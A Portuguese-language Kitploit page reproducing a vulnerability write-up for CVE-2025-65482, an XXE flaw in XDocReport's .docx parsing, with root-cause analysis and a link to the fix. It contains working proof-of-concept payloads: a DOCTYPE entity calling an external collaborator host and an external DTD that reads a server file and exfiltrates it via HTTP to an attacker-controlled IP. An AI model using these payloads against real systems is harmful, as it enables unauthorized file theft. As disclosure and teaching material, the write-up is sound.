Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Ferramentas/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosPapers e PesquisaAprendizado e Educação
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Ver Repositório
110há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) no XDocReport

Definição do Bug

XML External Entity Injection

Visão geral da vulnerabilidade

  • XML External Entity Injection (XXE) é uma vulnerabilidade no processamento de dados no formato XML, onde o usuário insere dados XML que referenciam um arquivo ou sistema externo. Um atacante pode usar essa vulnerabilidade XXE identificada para escanear outros sistemas em busca de portas de serviço abertas, solicitar arquivos confidenciais e acessar funcionalidades de sistemas conectados que de outra forma não estariam disponíveis. A partir daí, o atacante pode extrair dados, interagir com sistemas e causar interrupção de serviço através da inserção de XML.

Impacto nos negócios

  • XXE pode levar a danos à reputação da empresa devido à perda de confiança dos usuários. Também pode resultar em roubo de dados e perdas financeiras indiretas para a empresa através de custos de notificação, correção e violação de dados PII.

Severidade ALTA

image

Descrição e Impacto

O site de gerenciamento de RH permite que os usuários façam upload de arquivos .docx para o sistema. Durante o processamento, a aplicação utiliza a biblioteca fr.opensagres.xdocreport.document.docx, que contém a vulnerabilidade XXE quando o arquivo .docx do usuário é passado para o SAXParser.

Componente Afetado

fr.opensagres.xdocreport.template.docx — XDocReport (versões =< 2.0.3)

Análise da Causa Raiz

A causa é o uso do Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Ou seja, o Apache POI está muito profundo, no módulo:

org.apache.poi.xwpf.converter.core

image

O erro ocorre porque o XDocReport (no módulo fr.opensagres.xdocreport.document.docx) usa o Apache POI para ler arquivos .docx, e o POI usa o SAXParser padrão do Java sem desabilitar os recursos que permitem o processamento de DTD e Entidades Externas. → Isso permite que um atacante insira um DOCTYPE com uma entidade apontando para fora (SYSTEM "http://...") ou para um arquivo interno (file:///...) → gerando XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Passo a Passo para Reprodução

  • Descompacte qualquer arquivo docx
unzip ../vcspentest.docx

image

  • Edite o conteúdo do arquivo document.xml dentro do docx
nano word/document.xml

image

Edite com o payload outbound para o collaborator da seguinte forma:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Compacte novamente para criar o arquivo poc
 zip -r ../poc.docx *

image

image

  • Faça upload do arquivo docx modificado para ser processado pelo xdocreport

image

  • Resultado: uma requisição é enviada de volta ao collaborator

image

  • Aumentando o impacto para leitura de arquivos no sistema
  • Hospede o arquivo dtd na máquina wsl 172.26.208.130. O conteúdo do arquivo vcspentest.dtd é o seguinte:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Edite o arquivo word/document.xml dentro do arquivo .docx com o seguinte conteúdo para carregar o dtd externo da máquina wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Compacte o arquivo como .docx e faça upload para o servidor processar

image

image

  • Na máquina wsl, uma requisição é recebida com o conteúdo do arquivo D:/vcspentest.txt do servidor alvo

image

image

Solução

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

No código ou na camada de configuração do parser XML, é necessário desabilitar completamente todas as funcionalidades relacionadas a DTD e entidades externas.

Correção semelhante a este código:

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
Baixar ferramenta